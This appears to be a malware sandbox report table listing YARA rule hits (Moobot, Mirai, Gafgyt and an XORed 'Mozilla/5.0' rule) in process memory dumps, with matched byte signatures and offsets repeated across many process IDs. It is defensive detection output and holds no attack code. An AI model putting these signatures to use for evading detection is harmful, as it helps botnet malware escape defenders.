6476.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6865.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7422.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7422.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7422.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7422.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7422.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7422.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6428.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6428.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6428.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6428.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6428.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6428.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7175.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6421.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7369.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6441.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6964.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6964.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6964.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6964.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6964.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6964.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6438.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6438.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6438.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6438.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6438.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6438.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6674.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6674.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6674.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6674.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6674.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6674.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6730.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6258.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6258.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6258.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6258.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
